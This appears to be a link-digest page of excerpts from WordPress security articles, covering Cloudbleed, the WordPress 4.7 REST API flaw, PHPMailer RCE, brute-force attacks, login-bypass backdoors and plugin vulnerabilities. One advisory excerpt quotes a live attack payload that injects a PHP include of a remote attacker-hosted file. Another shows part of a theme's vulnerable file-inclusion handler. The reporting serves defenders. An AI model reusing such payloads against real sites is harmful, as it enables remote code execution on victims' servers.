While much of this is a rehash of everything we have already seen covered, it does mention a way to search google to see if your site might have been affected. So...worth it for that I guess.
Cloudflare has experienced a data leak over a 5 month period that mixed sensitive data between websites and visitors. A visitor to one website using Cloudflare may have seen data from another website using Cloudflare that was being sent to a completely different site visitor. Some of the leaked data has been indexed by search engines who have been working over the past few days to try and remove the data from their caches.
In this post I am going to explain in simple terms, what occurred and what you need to do about it.
If you are a WordPress user and simply want to know how to secure your site, you can skip to the What Should I Do section below. I have included some information for non-WordPress site owners in that section too.
Cloudflare provides a firewall and content distribution service. Their servers are between your website visitors and your own web server.
Under normal circumstances, cloudflare returns the data each site visitor requested to that visitor. This may be public or sometimes private information and it is usually done over a secure channel. Each website visitor only sees the data they requested.
From September 22nd, 2016 until February 18th 2017 (last Saturday),
Yikes, this was a pretty significant bug. Glad it got fixed quickly.
Last Friday, Tavis Ormandy from Google’s Project Zero contacted Cloudflare to report a security problem with our edge servers. He was seeing corrupted web pages being returned by some HTTP requests run through Cloudflare. It turned out that in some unusual circumstances, which I’ll detail below, our edge servers were running past the end of a buffer and returning memory that contained private information such as HTTP cookies, authentication tokens, HTTP POST bodies, and other sensitive data. And some of that data had been cached by search engines.
For the avoidance of doubt, Cloudflare customer SSL private keys were not leaked. Cloudflare has always terminated SSL connections through an isolated instance of NGINX that was not affected by this bug.
We quickly identified the problem and turned off three minor Cloudflare features (email obfuscation, Server-side Excludes and Automatic HTTPS Rewrites) that were all using the same HTML parser chain that was causing the leakage. At that point it was no longer possible for memory to be returned in an HTTP response.
Because of the seriousness of such a bug, a cross-functional team from software engineering, infosec and operations
There's hardly any plugin more important than a security plugin. Sucuri and Wordfence are surely two of the major contenders for the best WordPress security plugin, but which one should you choose?
If you're considering the choice between Sucuri vs WordFence, you already know that ensuring the best security for your WordPress website is one of your top priorities. You MUST use a dedicated WordPress security plugin to do that. There are too many WordPress hacking attempts going on. So far so good.
But the problem arises when you want to choose a good WordPress security plugin. There are so many security plugins available with so many features and options that you become very confused about which one to choose.
If that is your situation right now, you have come to the right place. In today’s post, we will compare two of the most popular security plugins for WordPress – Sucuri Security and Wordfence Security.
We will compare how these two plugins work and what features they offer, so that you can decide with all of the information in hand.
By the end of this post, you will know which WP security plugin you should choose for your website. So we're going to pitch two of the most popular security plugins around - Sucuri vs WordFence. Sounds good? Let’s get started with Sucuri.
Let’s get started with Sucuri.
How Sucuri Security Works
When it comes to web security,
This is NOT a good enough answer! This is important and should not be pushed under the rug.
Nearly 50K publicly available plugins call the WordPress plugin directory home but once in awhile a few of them seem to disappear. There is usually a good reason for why this happens but the only information available to the public is a page that says the plugin cannot be found. If the plugin is popular enough, concerned users will contact us and ask to investigate what happened. Mika Epstein, Plugin Directory Representative, says there are a number of reasons for why a plugin can end up hidden from view, “The most well-known, but not the most common, is security issues,” Epstein said.
“Plugins are removed and, by default, hidden mostly because we’re on bbPress 1.0 and there is not as granular a control with post statuses when compared to WordPress itself.”
The plugin review team has three options to choose from when altering a plugin’s visibility, active, closed, and disabled. Although rarely used, when a plugin is disabled, it is hidden from view but updates are able to be pushed out.
I asked Epstein why there’s not more detailed information when a plugin is hidden and the answer is complex, “The lack of information is partly technical
WordPress backup and security service had a security breach; hackers installing malware on hacked sites.
Or Contact us via the chat channel on any page of the BlogVault website or on the BlogVault dashboard.
If you have questions about the security issue we’re currently facing, please click on the button above, for some of the common queries our customers have had.
If your question isn’t here, please do get in touch with us. We’re here to help.
I’m Akshat, the founder of BlogVault. Here at BlogVault we have been committed to providing highly secure backups.
Unfortunately, I am reaching out to let you know that some of the data on our systems may have been exposed. We are investigating the issue, and will ensure to keep you updated as and when we have more details.
Meanwhile, we have undertaken a list of precautionary measures and we’re sharing what we already know with our entire customer base.
What We Are Doing to Secure Your Website
Due to the breach, some of our customers’ websites were accessed without authorization. After further investigation we found out that these sites had been injected with malware. We have taken immediate action and we are extensively scanning all those identified sites. We are also conducting granular analyses of our
Update your website now! The REST API flaw is critical, read more here.
Update your website now! Yes, this is the first and last thing I have to tell you, stay updated, above all if you’re using WordPress 4.7 or 4.7.1. Older versions are not affected, even if they are using the old “REST API” plugin.
This post could only be a tweet, but I wanted to give you more informations.
On January 26th, WordPress 4.7.2 was released as a security update, the release notes only mentioned 3 fixes about vulnerabilities but a week later, the security team disclosed another vulnerability, much more critical than the 3 others, and it was also patched in this version 4.7.2.
Why not discloses the 4 flaws in the same time? Aaron Campbell said “We believe transparency is in the public’s best interest […] It is our stance that security issues should always be disclosed. In this case, we intentionally delayed disclosing this issue by one week to ensure the safety of millions of additional WordPress sites.”
And he’s right, I just agree with that, the usual “the sooner the better” is not welcome here.
About The Vulnerability
It’s located in the REST API core. It leads to 2 new vulnerabilities: Remote
This covers more details about security vulnerabilities in WordPress 4.7 & 4.7.1 that just got fixed in 4.7.2. Here its comes from Sucuri who contributed in this finding and a solid good responsible disclosure.
Security Risk: Severe Exploitation Level: Easy/Remote
DREAD Score: 9/10
Vulnerability: Privilege Escalation / Content Injection
Patched Version: 4.7.2
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on WordPress, we discovered was a severe content injection (privilege escalation) vulnerability affecting the REST API. This vulnerability allows an unauthenticated user to modify the content of any post or page within a WordPress site.
We disclosed the vulnerability to the WordPress Security Team who handled it extremely well. They worked closely with us to coordinate the disclosure timeline and get as many hosts and security providers aware and patched before this became public.
A fix for this was silently included on version 4.7.2 along with other less severe issues. This was done intentionally to give everyone time to patch. We are now disclosing the details because we feel there has been enough time for most WordPress users to update their sites.
Are You At Risk?
This privilege escalation vulnerability affects the WordPress REST API that was recently added and enabled
I have a feeling we'll end up seeing a lot more REST API vulnerabilities in the future. Just call it a gut feeling.
WordPress 4.7.2 was released last Thursday, January 26th. If you have not already updated, please do so immediately. In addition to the three security vulnerabilities mentioned in the original release post, WordPress 4.7 and 4.7.1 had one additional vulnerability for which disclosure was delayed. There was an Unauthenticated Privilege Escalation Vulnerability in a REST API Endpoint. Previous versions of WordPress, even with the REST API Plugin, were never vulnerable to this.
We believe transparency is in the public’s best interest. It is our stance that security issues should always be disclosed. In this case, we intentionally delayed disclosing this issue by one week to ensure the safety of millions of additional WordPress sites.
On January 20th, Sucuri alerted us to a vulnerability discovered by one of their security researchers, Marc-Alexandre Montpas. The security team began assessing the issue and working on solutions. While a first iteration of a fix was created early on, the team felt that more testing was needed.
Meanwhile, Sucuri added rules to their Web Application Firewall (WAF) to block exploit attempts against their clients. This issue was found internally and no
Urgent: Massive remote command execution attempts against the latest WordPress REST API vulnerability. Update to WordPress 4.7.2 ASAP!
We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability. These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.
Attacks in the Wild
The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.
For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:
content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
A tale about how a $60 Premium WordPress theme treats straighforward security issues. Unauthenticated LFI/Directory Traversal? We have no problems.
Whew, it’s been a while… I’ve had the misfortune to work with yet another theme from ThemeForest. A $60 premium theme and nothing less! Meet Javo Spot by Javo Themes…
Within half an hour of fiddling with it, trying to filter the output of their Listings Directory (which ended up being a 5-hour pain-in-the-butt task, which is a story for another day), I came across a glaring unauthenticated Local File Inclusion vulnerability (an LFI for short).
The available listings are cached in JSON format into a file in the uploads directory and then fetched via a GET on the listing archive page and rendered nicely. But there’s a cross-domain mode in the theme that uses JSONP, which allows the contents of the listing file to be output via an AJAX call to WordPress.
This is a responsibility borne upon a function called jvfrm_spot_get_json (javo-spot/library/functions/functions-box-map.php).
* Cross Domain Ajax
* @type action
* @function jvfrm_spot_get_json
if ( !function_exists( 'jvfrm_spot_get_json' ) ) :
add_action( 'wp_ajax_jvfrm_spot_get_json', 'jvfrm_spot_get_json' );
add_action( 'wp_ajax_nopriv_jvfrm_spot_get_json', 'jvfrm_spot_get_json'
Dre and I talk the history of Sucuri and the future of internet security.
It’s early in the year and something to think about is security! Dre Armeda is here to tell us all about that – the full history of his company, Sucuri, where they’ve been and why they are kicking it up a notch. Super informative and important to anyone doing business on the web! Show Notes
I know it says not to panic, but my tummy took a tumble when reading this one. Hey, I'm not immune to fear. :)
A critical remote code execution vulnerability in PHPMailer has been discovered by Polish researcher Dawid Golunski. The vulnerability was announced on legalhackers.com yesterday but proof of concept exploit details were not included. Unfortunately someone posted a proof of concept to exploit-db and to github a few hours ago demonstrating how the vulnerability can be exploited in the PHPMailer library, but not targeting any web application that is in use.
We are publishing this unscheduled update to give PHP developers and our community advance warning of this issue. We expect this story to continue to evolve rapidly as more developers and malicious actors look at this code.
PHPMailer is used by WordPress core to send email. You can find the code in the wp-includes/class-smtp.php core file.
NOTE: There is no known exploit publicly available for WordPress core or any WordPress theme or plugin at this time. The only exploit we have seen is where a researcher has built their own application and then exploited it, demonstrating the existence of this vulnerability in PHPMailer. (Details below)
Please don’t contact the WordPress core team, WordPress forum moderators
Anyone else notice more attacks during December? My WordFence installs are off the hook with banning IPs.
At Wordfence we constantly monitor the WordPress attack landscape in real-time. Three weeks ago, on November 24th, we started seeing a rise in brute force attacks. As a reminder, a brute force attack is one that tries to guess your username and password to sign into your WordPress website. In today’s post we show you how attacks have increased during the past 3 weeks and share some data about where attacks are originating from.
First: How to protect yourself from these attacks
Brute force attacks are unsophisticated. They are simple password guessing attacks. A machine will automatically try to sign into your website over and over in the hope that it can guess your password.
If you install the free version of Wordfence, you are automatically protected against brute force attacks. It’s that simple. We also automatically block the worst offenders completely, and we share some information below on who those are.
We have a few other really cool options, like preventing username discovery and immediately locking out invalid usernames. All these techniques help protect you against brute force attacks.
Download and install the free version of Wordfence today to get instant protection
By checking Google Analytics you can notice a lot of fake referral sites. This tutorial shows you how to block the so-called language spam sites.
Nobody likes spam, and it can be a very frustrating for WordPress site owners as it typically involves taking time to setup filters and researching the best way to block it. Many by now are used to dealing with referrer spam, as it something that has plagued us for years. However, in the past couple months there has been a new approach to this, in the form of what everyone is now calling language spam. Most of you probably started noticing this right around the time of the 2016 US elections. Follow our tutorial below on the best ways block language spam and prevent it from skewing your traffic and analytics statistics. It is very important to fix these as soon as they start appearing. 68% of a WordPress site's traffic we tested was from language spam.
Well that would have been a major problem. Perhaps more needs to be considered when dealing with this particular point of failure.
At Wordfence, we continually look for security vulnerabilities in the third party plugins and themes that are widely used by the WordPress community. In addition to this research, we regularly examine WordPress core and the related wordpress.org systems. Recently we discovered a major vulnerability that could have caused a mass compromise of the majority of WordPress sites. The vulnerability we describe below may have allowed an attacker to use the WordPress auto-update function, which is turned on by default, to deploy malware to up to 27% of the Web at once.
Choosing the most damaging target to attack
The server api.wordpress.org (or servers) has an important role in the WordPress ecosystem: it releases automatic updates for WordPress websites. Every WordPress installation makes a request to this server about once an hour to check for plugin, theme, or WordPress core updates. The response from this server contains information about any newer versions that may be available, including if the plugin, theme or core needs to be updated automatically. It also includes a URL to download and install the updated software.
Compromising this server could allow an attacker to supply their own
Watch out for PHP Object injections - there are some out in the wild that are making trouble.
Over the past month or so I have been monitoring the activity of a series of attacks against our hosting customers which had one common vector: insecure WordPress plugins which exposed PHP objects to potential injection. Only a very small number of our customers were affected and with every compromised instance we work with our customers and provide every detail we can regarding the attack. In this case we found the vulnerability being exploited was an unpublished (or zero day) exploit in the wild. As we worked to mitigate the vulnerability we kept an open dialog with our affected customers as we worked with the plugin author on a patch or in some cases: disabling the insecure plugin. About PHP object injection attacks
The attack we saw was not a new type of attack, but an attack method that is a little obscure compared to the more commonly talked about: XSS and/or SQLi. PHP Object Injection is discussed in depth by security groups like OWASP as well as being so severe it warranted a large red warning on php.net warning not to utilize the unserialize() function with untrusted data. Many plugin developers have fallen short of this best practice and utilized this function insecurely from
ManageWP keeps getting better and pulling out new services to its Orion Platform. Raising the bar...
Nice Sucuri posts on a hacking technique better than creating new admin users. A legitimate admin user will not be deleted during a cleanup.
When a site gets hacked, the attack doesn’t end with the malicious payload or spam content. Hackers know that most website administrators will clean up the infection and look no further. Many go on to patch vulnerable software, change their passwords, and perform other post-hack steps. All of this is good, but hackers who follow through the sustainment phase of the attack also leave behind ways to easily reinfect the site. After breaking into a website, hackers want to make sure they still have access if the original security hole is closed. Most often, they upload backdoors or create new malicious users. There is also a combination of the two approaches: login bypasses. These allow attackers to gain administrative rights without authentication by using a special parameter in the HTTP request.
WordPress Login Bypass
Recently, we found this buggy bypass code injected into a WordPress wp-login.php file.
Login bypass using the kidsid parameter
The request was placed inside legitimate comments, which made it more suspicious since this trick is only used by malware.
The purpose of this code is to provide an admin user ID for the kidsid parameter when requesting wp-login.php. This allows
Parts of this new API are available to anyone on the Internet. It's possible to list users on a WordPress website without registering.
WordPress 4.7 was released 6 days ago, on December 6th. It includes a REST API that will be used by many WordPress plugins, mobile apps, desktop applications, cloud services and even WordPress core in future. Every site that upgrades to WordPress 4.7 has this API enabled by default. The API is powerful and allows WordPress to move from being a simple web based content-management system into being an application framework. What this means is that developers can write applications that run anywhere and talk to your WordPress website. So in future you’ll be able to publish content and manage your site from the cloud, from your phone, tablet or desktop and plugin developers will be able to create new kinds of extensions that improve your WordPress experience. All of these applications will use the new WordPress REST API that was released in WordPress core version 4.7.
As the saying goes, with great power comes great responsibility. Parts of this new API are available to anyone on the internet. They don’t need to sign into your WordPress website to use the API. They can just connect and use it. With the launch of this API, we expect developers to embrace it, but we also expect
WordPress Security is something you should take seriously about or else you will end up with a Hacked WordPress Website. A WordPress Malware Redirect is a hack where your site is injected with malware forcing your visitors to be redirected to phishing or malware websites. Check out this guide on How to Detect and Clean WordPress Malware Redirects and avoid being blacklisted by Google and loose your SE Ranking.
So, did it hurt you when you see your website is redirecting to phishing or malware websites? Alas, even when you have strengthened your website’s defenses, about 30,000 web sites are hacked daily. So it’s very important to know what to do when that day comes! If your website was hacked there are more chances that attackers might insert malicious code that redirects your website to phishing or malware websites to grab traffic, that’s just adding insult to injury – and can really damage your website reputation.
In case your site is redirecting visitors to phishing or a malware site, you will possibly get blacklisted by Google! Google isn’t going to take any chances with its reputation, if your webpage(s) smell even the slightest bit fishy, it's going blacklist you. I will cover Google blacklist later on in this article.
What Is Malicious Redirect – A Definition
A hacker can use a script they created to systematically redirect your website to a Scam Website or an Adult(call me Porn) website in order to down the reputation of your own website. Most commonly they will use the following tricks to change the behavior of a website!
Upload or create a file
Gravatars are nice ways to personalize posts and comments on websites and are widely used by WordPress. This is an interesting article that discusses a privacy weakness when using the Gravatar service. Even if the author or person commenting doesn't have a Gravatar, their email or identity could potentially be exposed.
Gravatar is a service that provides users with a profile image that can appear on many sites across the Net. It is integrated with WordPress.com (The version of WordPress hosted by Automattic) and is also integrated into WordPress.org, the self hosted version of WordPress. Gravatar is also used by many other popular services on the web like StackOverflow.com. If you sign up for a website on WordPress.com and publish a blog post, a Gravatar icon appears on your site as your profile photo, indicated by the red arrow below. You can visit gravatar.com to customize that icon and upload a photo of your own.
If you use WordPress.org, Gravatars are an option you can enable for your users and they are widely used. It will either show their profile photo if they have gone to Gravatar.com to create one, or it will show a default image. You can select from several kinds of default images.
Other services like StackOverflow, one of the most popular sites on the web, also use Gravatar for profile images.
In the HTML source code of your website, Gravatar loads images using a hash of your email address. If you read our post earlier this week where we discuss the problem of malware scanners using weak
WordFence is very good at getting a few jabs in at their competitors, and this post is no exception. I'm sure it will rankle a few feathers, as they usually do.
In this post I’m going to discuss a major problem that exists with several WordPress malware scanners: The use of weak hashing algorithms for good and bad file identification. Some malware and antivirus scanners outside of WordPress suffer from this same issue. For brevity, I’m going to refer to this as the “weak hash scanner” issue.
This issue may allow an attacker to hide malware that is undetectable to scanners using the MD5 hashing algorithm. Below I will explain how hashes are used in the security industry, what the problem is and how to solve it. I’ll also point you to research demonstrating this issue and further reading. I’ll also describe how Wordfence uses a secure hashing algorithm for our malware scanner.
How we use hashes in the security industry to find bad things
In the security world we have a commonly used process of running a file through a piece of logic, called an algorithm, and generating a unique number. That number is used to uniquely identify files. This process is called a hashing algorithm and the unique number is called a ‘hash’.
We use hashing algorithms for all kinds of really cool and useful stuff. We can
Some basic and a lot of advanced tips to make your site more secure. Most in-depth guide you'll find about WP security.
When it comes to WordPress, there are a lot of things you can do to lock down your site to prevent hackers and vulnerabilities from affecting your business or blog. The last thing you want to happen is to wake up one morning to discover your site in shambles. So today we are going to be sharing a lot of tips, strategies, and techniques you can use to better your WordPress security and stay protected. WordPress Vulnerabilities
WordPress gets a bad rap sometimes for being prone to security vulnerabilities and inherently not being a safe platform to use for a business. However, this is almost always due to the fact that users keep following industry-proven security worst-practices. Using outdated WordPress software, poor system administration, credentials management, and lack of necessary Web and security knowledge among non-techie WordPress users keeps hackers on top of their cyber-crime game. Even industry leaders don’t always use best practices. Reuters was hacked back in 2012 because they were using an outdated version of WordPress.
Now this is not to say vulnerabilities don’t exist. According to a Q2 2016 study by Sucuri, a multi-platform security company, WordPress continues
Good stuff on HTTPS and SEO from Zack Tollman looking back on the months-long full HTTPS rollout at Wired.com.
WIRED.com is now entirely HTTPS. In other words: All our content is encrypted in transit from our servers to your browser, and this ensures no one is fiddling with that content before it reaches you. We began this rollout nearly five months ago and took the final step of turning on HTTPS across the entire site last week. Now that we’ve reached this milestone, we wanted to share our experiences with you—just in case you want to move a media site to HTTPS.
Planning and preparing for moving to HTTPS was more of a human engineering than a technical engineering project. We started discussing the possibility of moving to HTTPS as far back as June 2015, with conversations intensifying toward the end of 2015. We coordinated closely with our ad teams—both the people who manage the technical and the operational aspects of ad delivery. We also worked with our SEO and business development teams as we evaluated risks associated with moving to HTTPS.
We decided that a staged rollout, where we convert one section at a time to HTTPS, would allow us to take on smaller amounts of risk at a time (a move that we cribbed from The Washington Post). With each section migration,